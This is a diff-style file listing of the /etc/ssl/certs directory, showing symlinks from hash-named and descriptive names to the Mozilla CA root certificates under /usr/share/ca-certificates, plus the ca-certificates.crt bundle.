+lrwxrwxrwx root root 26 ./etc/ssl/certs/93bc0acc.0 -> AffirmTrust_Networking.pem
+lrwxrwxrwx root root 48 ./etc/ssl/certs/988a38cb.0 -> NetLock_Arany_=Class_Gold=_Főtanúsítvány.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/9c2e7d30.0 -> Sonera_Class_2_Root_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/9c8dfbd4.0 -> AffirmTrust_Premium_ECC.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/9d04f354.0 -> DigiCert_Assured_ID_Root_G2.pem
+lrwxrwxrwx root root 24 ./etc/ssl/certs/9f0f5fd6.0 -> Certinomis_-_Root_CA.pem
+lrwxrwxrwx root root 13 ./etc/ssl/certs/a94d09e5.0 -> ACCVRAIZ1.pem
+lrwxrwxrwx root root 56 ./etc/ssl/certs/ACCVRAIZ1.pem -> ../../../usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem -> ../../../usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/Actalis_Authentication_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt
+lrwxrwxrwx root root 25 ./etc/ssl/certs/ad088e1d.0 -> GeoTrust_Universal_CA.pem
+lrwxrwxrwx root root 69 ./etc/ssl/certs/AddTrust_External_Root.pem -> ../../../usr/share/ca-certificates/mozilla/AddTrust_External_Root.crt
+lrwxrwxrwx root root 45 ./etc/ssl/certs/aee5f10d.0 -> Entrust.net_Premium_2048_Secure_Server_CA.pem
+lrwxrwxrwx root root 69 ./etc/ssl/certs/AffirmTrust_Commercial.pem -> ../../../usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/AffirmTrust_Networking.pem -> ../../../usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/AffirmTrust_Premium_ECC.pem -> ../../../usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt
+lrwxrwxrwx root root 66 ./etc/ssl/certs/AffirmTrust_Premium.pem -> ../../../usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/Amazon_Root_CA_1.pem -> ../../../usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/Amazon_Root_CA_2.pem -> ../../../usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/Amazon_Root_CA_3.pem -> ../../../usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/Amazon_Root_CA_4.pem -> ../../../usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt
+lrwxrwxrwx root root 68 ./etc/ssl/certs/Atos_TrustedRoot_2011.pem -> ../../../usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt
+lrwxrwxrwx root root 104 ./etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem -> ../../../usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt
+lrwxrwxrwx root root 31 ./etc/ssl/certs/b0e59380.0 -> GlobalSign_ECC_Root_CA_-_R4.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/b1159c4c.0 -> DigiCert_Assured_ID_Root_CA.pem
+lrwxrwxrwx root root 35 ./etc/ssl/certs/b1b8a7f3.0 -> OISTE_WISeKey_Global_Root_GA_CA.pem
+lrwxrwxrwx root root 64 ./etc/ssl/certs/b204d74a.0 -> VeriSign_Class_3_Public_Primary_Certification_Authority_-_G5.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/b66938e9.0 -> Secure_Global_CA.pem
+lrwxrwxrwx root root 23 ./etc/ssl/certs/b727005e.0 -> AffirmTrust_Premium.pem
+lrwxrwxrwx root root 37 ./etc/ssl/certs/b7a5b843.0 -> TWCA_Root_Certification_Authority.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/ba89ed3b.0 -> thawte_Primary_Root_CA_-_G3.pem
+lrwxrwxrwx root root 72 ./etc/ssl/certs/Baltimore_CyberTrust_Root.pem -> ../../../usr/share/ca-certificates/mozilla/Baltimore_CyberTrust_Root.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/Buypass_Class_2_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/Buypass_Class_3_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt
+lrwxrwxrwx root root 51 ./etc/ssl/certs/c01cdfa2.0 -> VeriSign_Universal_Root_Certification_Authority.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/c089bbbd.0 -> thawte_Primary_Root_CA_-_G2.pem
+lrwxrwxrwx root root 64 ./etc/ssl/certs/c0ff1f52.0 -> Verisign_Class_3_Public_Primary_Certification_Authority_-_G3.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/c28a8a30.0 -> D-TRUST_Root_Class_3_CA_2_2009.pem
+lrwxrwxrwx root root 36 ./etc/ssl/certs/c47d9980.0 -> Chambers_of_Commerce_Root_-_2008.pem
+lrwxrwxrwx root root 37 ./etc/ssl/certs/ca6e4ad9.0 -> ePKI_Root_Certification_Authority.pem
+-rw-r--r-- root root 200061 ./etc/ssl/certs/ca-certificates.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/CA_Disig_Root_R2.pem -> ../../../usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt
+lrwxrwxrwx root root 44 ./etc/ssl/certs/cbf06781.0 -> Go_Daddy_Root_Certificate_Authority_-_G2.pem
+lrwxrwxrwx root root 14 ./etc/ssl/certs/cc450945.0 -> Izenpe.com.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/cd58d51e.0 -> Security_Communication_RootCA2.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/cd8c0d63.0 -> AC_RAIZ_FNMT-RCM.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/ce5e74ef.0 -> Amazon_Root_CA_1.pem
+lrwxrwxrwx root root 55 ./etc/ssl/certs/Certigna.pem -> ../../../usr/share/ca-certificates/mozilla/Certigna.crt
+lrwxrwxrwx root root 67 ./etc/ssl/certs/Certinomis_-_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Certinomis_-_Root_CA.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/Certplus_Class_2_Primary_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Certplus_Class_2_Primary_CA.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/certSIGN_ROOT_CA.pem -> ../../../usr/share/ca-certificates/mozilla/certSIGN_ROOT_CA.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/Certum_Trusted_Network_CA_2.pem -> ../../../usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt
+lrwxrwxrwx root root 72 ./etc/ssl/certs/Certum_Trusted_Network_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt
+lrwxrwxrwx root root 59 ./etc/ssl/certs/CFCA_EV_ROOT.pem -> ../../../usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt
+lrwxrwxrwx root root 79 ./etc/ssl/certs/Chambers_of_Commerce_Root_-_2008.pem -> ../../../usr/share/ca-certificates/mozilla/Chambers_of_Commerce_Root_-_2008.crt
+lrwxrwxrwx root root 71 ./etc/ssl/certs/Comodo_AAA_Services_root.pem -> ../../../usr/share/ca-certificates/mozilla/Comodo_AAA_Services_root.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/COMODO_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/COMODO_Certification_Authority.crt
+lrwxrwxrwx root root 81 ./etc/ssl/certs/COMODO_ECC_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt
+lrwxrwxrwx root root 81 ./etc/ssl/certs/COMODO_RSA_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/Cybertrust_Global_Root.pem -> ../../../usr/share/ca-certificates/mozilla/Cybertrust_Global_Root.crt
+lrwxrwxrwx root root 37 ./etc/ssl/certs/d4dae3dd.0 -> D-TRUST_Root_Class_3_CA_2_EV_2009.pem
+lrwxrwxrwx root root 38 ./etc/ssl/certs/d6325660.0 -> COMODO_RSA_Certification_Authority.pem
+lrwxrwxrwx root root 22 ./etc/ssl/certs/d7e8dc79.0 -> QuoVadis_Root_CA_2.pem
+lrwxrwxrwx root root 23 ./etc/ssl/certs/d853d49e.0 -> Trustis_FPS_Root_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/dc4d6a89.0 -> GlobalSign_Root_CA_-_R6.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/dd8e9d41.0 -> DigiCert_Global_Root_G3.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/de6d66f3.0 -> Amazon_Root_CA_4.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/def36a68.0 -> LuxTrust_Global_Root_2.pem
+lrwxrwxrwx root root 73 ./etc/ssl/certs/Deutsche_Telekom_Root_CA_2.pem -> ../../../usr/share/ca-certificates/mozilla/Deutsche_Telekom_Root_CA_2.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/DigiCert_Assured_ID_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_CA.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/DigiCert_Assured_ID_Root_G2.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/DigiCert_Assured_ID_Root_G3.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/DigiCert_Global_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Global_Root_CA.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/DigiCert_Global_Root_G2.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/DigiCert_Global_Root_G3.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt
+lrwxrwxrwx root root 81 ./etc/ssl/certs/DigiCert_High_Assurance_EV_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_High_Assurance_EV_Root_CA.crt
+lrwxrwxrwx root root 71 ./etc/ssl/certs/DigiCert_Trusted_Root_G4.pem -> ../../../usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt
+lrwxrwxrwx root root 61 ./etc/ssl/certs/DST_Root_CA_X3.pem -> ../../../usr/share/ca-certificates/mozilla/DST_Root_CA_X3.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_2009.pem -> ../../../usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt
+lrwxrwxrwx root root 80 ./etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_EV_2009.pem -> ../../../usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt
+lrwxrwxrwx root root 12 ./etc/ssl/certs/e113c810.0 -> Certigna.pem
+lrwxrwxrwx root root 25 ./etc/ssl/certs/e18bfb83.0 -> QuoVadis_Root_CA_3_G3.pem
+lrwxrwxrwx root root 49 ./etc/ssl/certs/e2799e36.0 -> GeoTrust_Primary_Certification_Authority_-_G3.pem
+lrwxrwxrwx root root 25 ./etc/ssl/certs/e36a6752.0 -> Atos_TrustedRoot_2011.pem
+lrwxrwxrwx root root 35 ./etc/ssl/certs/e73d606e.0 -> OISTE_WISeKey_Global_Root_GB_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/e8de2f56.0 -> Buypass_Class_3_Root_CA.pem
+lrwxrwxrwx root root 53 ./etc/ssl/certs/EC-ACC.pem -> ../../../usr/share/ca-certificates/mozilla/EC-ACC.crt
+lrwxrwxrwx root root 28 ./etc/ssl/certs/ee64a828.0 -> Comodo_AAA_Services_root.pem
+lrwxrwxrwx root root 78 ./etc/ssl/certs/EE_Certification_Centre_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/EE_Certification_Centre_Root_CA.crt
+lrwxrwxrwx root root 38 ./etc/ssl/certs/eed8c118.0 -> COMODO_ECC_Certification_Authority.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/ef954a4e.0 -> IdenTrust_Commercial_Root_CA_1.pem
+lrwxrwxrwx root root 88 ./etc/ssl/certs/Entrust.net_Premium_2048_Secure_Server_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Entrust.net_Premium_2048_Secure_Server_CA.crt
+lrwxrwxrwx root root 89 ./etc/ssl/certs/Entrust_Root_Certification_Authority_-_EC1.pem -> ../../../usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_EC1.crt
+lrwxrwxrwx root root 88 ./etc/ssl/certs/Entrust_Root_Certification_Authority_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G2.crt
+lrwxrwxrwx root root 83 ./etc/ssl/certs/Entrust_Root_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority.crt
+lrwxrwxrwx root root 80 ./etc/ssl/certs/ePKI_Root_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt
+lrwxrwxrwx root root 78 ./etc/ssl/certs/E-Tugra_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/E-Tugra_Certification_Authority.crt
+lrwxrwxrwx root root 31 ./etc/ssl/certs/f060240e.0 -> Certplus_Class_2_Primary_CA.pem
+lrwxrwxrwx root root 23 ./etc/ssl/certs/f081611a.0 -> Go_Daddy_Class_2_CA.pem
+lrwxrwxrwx root root 47 ./etc/ssl/certs/f0c70a8d.0 -> SSL.com_EV_Root_Certification_Authority_ECC.pem
+lrwxrwxrwx root root 41 ./etc/ssl/certs/f30dd6ad.0 -> USERTrust_ECC_Certification_Authority.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/f3377b1b.0 -> Security_Communication_Root_CA.pem
+lrwxrwxrwx root root 24 ./etc/ssl/certs/f387163d.0 -> Starfield_Class_2_CA.pem
+lrwxrwxrwx root root 18 ./etc/ssl/certs/f39fc864.0 -> SecureTrust_CA.pem
+lrwxrwxrwx root root 41 ./etc/ssl/certs/fc5a8f99.0 -> USERTrust_RSA_Certification_Authority.pem
+lrwxrwxrwx root root 19 ./etc/ssl/certs/fe8a2cd8.0 -> SZAFIR_ROOT_CA2.pem
+lrwxrwxrwx root root 49 ./etc/ssl/certs/ff34af3f.0 -> TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.pem
+lrwxrwxrwx root root 69 ./etc/ssl/certs/GDCA_TrustAUTH_R5_ROOT.pem -> ../../../usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt
+lrwxrwxrwx root root 65 ./etc/ssl/certs/GeoTrust_Global_CA.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Global_CA.crt
+lrwxrwxrwx root root 92 ./etc/ssl/certs/GeoTrust_Primary_Certification_Authority_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority_-_G2.crt
+lrwxrwxrwx root root 92 ./etc/ssl/certs/GeoTrust_Primary_Certification_Authority_-_G3.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority_-_G3.crt
+lrwxrwxrwx root root 87 ./etc/ssl/certs/GeoTrust_Primary_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Primary_Certification_Authority.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/GeoTrust_Universal_CA_2.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Universal_CA_2.crt
+lrwxrwxrwx root root 68 ./etc/ssl/certs/GeoTrust_Universal_CA.pem -> ../../../usr/share/ca-certificates/mozilla/GeoTrust_Universal_CA.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/Global_Chambersign_Root_-_2008.pem -> ../../../usr/share/ca-certificates/mozilla/Global_Chambersign_Root_-_2008.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/GlobalSign_ECC_Root_CA_-_R4.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/GlobalSign_ECC_Root_CA_-_R5.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt
+lrwxrwxrwx root root 65 ./etc/ssl/certs/GlobalSign_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_Root_CA.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/GlobalSign_Root_CA_-_R2.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R2.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/GlobalSign_Root_CA_-_R3.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/GlobalSign_Root_CA_-_R6.pem -> ../../../usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt
+lrwxrwxrwx root root 66 ./etc/ssl/certs/Go_Daddy_Class_2_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Go_Daddy_Class_2_CA.crt
+lrwxrwxrwx root root 87 ./etc/ssl/certs/Go_Daddy_Root_Certificate_Authority_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt
+lrwxrwxrwx root root 106 ./etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.pem -> ../../../usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt
+lrwxrwxrwx root root 102 ./etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_RootCA_2011.pem -> ../../../usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2011.crt
+lrwxrwxrwx root root 102 ./etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_RootCA_2015.pem -> ../../../usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/Hongkong_Post_Root_CA_1.pem -> ../../../usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_1.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/IdenTrust_Commercial_Root_CA_1.pem -> ../../../usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt
+lrwxrwxrwx root root 80 ./etc/ssl/certs/IdenTrust_Public_Sector_Root_CA_1.pem -> ../../../usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt
+lrwxrwxrwx root root 59 ./etc/ssl/certs/ISRG_Root_X1.pem -> ../../../usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt
+lrwxrwxrwx root root 57 ./etc/ssl/certs/Izenpe.com.pem -> ../../../usr/share/ca-certificates/mozilla/Izenpe.com.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/LuxTrust_Global_Root_2.pem -> ../../../usr/share/ca-certificates/mozilla/LuxTrust_Global_Root_2.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/Microsec_e-Szigno_Root_CA_2009.pem -> ../../../usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt
+lrwxrwxrwx root root 91 ./etc/ssl/certs/NetLock_Arany_=Class_Gold=_Főtanúsítvány.pem -> ../../../usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt
+lrwxrwxrwx root root 86 ./etc/ssl/certs/Network_Solutions_Certificate_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/Network_Solutions_Certificate_Authority.crt
+lrwxrwxrwx root root 78 ./etc/ssl/certs/OISTE_WISeKey_Global_Root_GA_CA.pem -> ../../../usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GA_CA.crt
+lrwxrwxrwx root root 78 ./etc/ssl/certs/OISTE_WISeKey_Global_Root_GB_CA.pem -> ../../../usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt
+lrwxrwxrwx root root 78 ./etc/ssl/certs/OISTE_WISeKey_Global_Root_GC_CA.pem -> ../../../usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt
+lrwxrwxrwx root root 68 ./etc/ssl/certs/QuoVadis_Root_CA_1_G3.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt
+lrwxrwxrwx root root 68 ./etc/ssl/certs/QuoVadis_Root_CA_2_G3.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt
+lrwxrwxrwx root root 65 ./etc/ssl/certs/QuoVadis_Root_CA_2.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2.crt
+lrwxrwxrwx root root 68 ./etc/ssl/certs/QuoVadis_Root_CA_3_G3.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt
+lrwxrwxrwx root root 65 ./etc/ssl/certs/QuoVadis_Root_CA_3.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/QuoVadis_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/QuoVadis_Root_CA.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/Secure_Global_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Secure_Global_CA.crt
+lrwxrwxrwx root root 66 ./etc/ssl/certs/SecureSign_RootCA11.pem -> ../../../usr/share/ca-certificates/mozilla/SecureSign_RootCA11.crt
+lrwxrwxrwx root root 61 ./etc/ssl/certs/SecureTrust_CA.pem -> ../../../usr/share/ca-certificates/mozilla/SecureTrust_CA.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/Security_Communication_RootCA2.pem -> ../../../usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/Security_Communication_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Security_Communication_Root_CA.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/Sonera_Class_2_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Sonera_Class_2_Root_CA.crt
+lrwxrwxrwx root root 90 ./etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_ECC.pem -> ../../../usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt
+lrwxrwxrwx root root 93 ./etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_RSA_R2.pem -> ../../../usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt
+lrwxrwxrwx root root 87 ./etc/ssl/certs/SSL.com_Root_Certification_Authority_ECC.pem -> ../../../usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt
+lrwxrwxrwx root root 87 ./etc/ssl/certs/SSL.com_Root_Certification_Authority_RSA.pem -> ../../../usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt
+lrwxrwxrwx root root 79 ./etc/ssl/certs/Staat_der_Nederlanden_EV_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_EV_Root_CA.crt
+lrwxrwxrwx root root 81 ./etc/ssl/certs/Staat_der_Nederlanden_Root_CA_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_Root_CA_-_G2.crt
+lrwxrwxrwx root root 81 ./etc/ssl/certs/Staat_der_Nederlanden_Root_CA_-_G3.pem -> ../../../usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_Root_CA_-_G3.crt
+lrwxrwxrwx root root 67 ./etc/ssl/certs/Starfield_Class_2_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Starfield_Class_2_CA.crt
+lrwxrwxrwx root root 88 ./etc/ssl/certs/Starfield_Root_Certificate_Authority_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt
+lrwxrwxrwx root root 97 ./etc/ssl/certs/Starfield_Services_Root_Certificate_Authority_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/SwissSign_Gold_CA_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/SwissSign_Gold_CA_-_G2.crt
+lrwxrwxrwx root root 71 ./etc/ssl/certs/SwissSign_Silver_CA_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/SwissSign_Silver_CA_-_G2.crt
+lrwxrwxrwx root root 62 ./etc/ssl/certs/SZAFIR_ROOT_CA2.pem -> ../../../usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt
+lrwxrwxrwx root root 58 ./etc/ssl/certs/Taiwan_GRCA.pem -> ../../../usr/share/ca-certificates/mozilla/Taiwan_GRCA.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/TeliaSonera_Root_CA_v1.pem -> ../../../usr/share/ca-certificates/mozilla/TeliaSonera_Root_CA_v1.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/thawte_Primary_Root_CA_-_G2.pem -> ../../../usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA_-_G2.crt
+lrwxrwxrwx root root 74 ./etc/ssl/certs/thawte_Primary_Root_CA_-_G3.pem -> ../../../usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA_-_G3.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/thawte_Primary_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA.crt
+lrwxrwxrwx root root 61 ./etc/ssl/certs/TrustCor_ECA-1.pem -> ../../../usr/share/ca-certificates/mozilla/TrustCor_ECA-1.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/TrustCor_RootCert_CA-1.pem -> ../../../usr/share/ca-certificates/mozilla/TrustCor_RootCert_CA-1.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/TrustCor_RootCert_CA-2.pem -> ../../../usr/share/ca-certificates/mozilla/TrustCor_RootCert_CA-2.crt
+lrwxrwxrwx root root 66 ./etc/ssl/certs/Trustis_FPS_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Trustis_FPS_Root_CA.crt
+lrwxrwxrwx root root 75 ./etc/ssl/certs/T-TeleSec_GlobalRoot_Class_2.pem -> ../../../usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt
+lrwxrwxrwx root root 75 ./etc/ssl/certs/T-TeleSec_GlobalRoot_Class_3.pem -> ../../../usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt
+lrwxrwxrwx root root 92 ./etc/ssl/certs/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.pem -> ../../../usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt
+lrwxrwxrwx root root 66 ./etc/ssl/certs/TWCA_Global_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt
+lrwxrwxrwx root root 80 ./etc/ssl/certs/TWCA_Root_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt
+lrwxrwxrwx root root 84 ./etc/ssl/certs/USERTrust_ECC_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt
+lrwxrwxrwx root root 84 ./etc/ssl/certs/USERTrust_RSA_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt
+lrwxrwxrwx root root 107 ./etc/ssl/certs/Verisign_Class_3_Public_Primary_Certification_Authority_-_G3.pem -> ../../../usr/share/ca-certificates/mozilla/Verisign_Class_3_Public_Primary_Certification_Authority_-_G3.crt
+lrwxrwxrwx root root 107 ./etc/ssl/certs/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G4.pem -> ../../../usr/share/ca-certificates/mozilla/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G4.crt
+lrwxrwxrwx root root 107 ./etc/ssl/certs/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G5.pem -> ../../../usr/share/ca-certificates/mozilla/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G5.crt
+lrwxrwxrwx root root 94 ./etc/ssl/certs/VeriSign_Universal_Root_Certification_Authority.pem -> ../../../usr/share/ca-certificates/mozilla/VeriSign_Universal_Root_Certification_Authority.crt
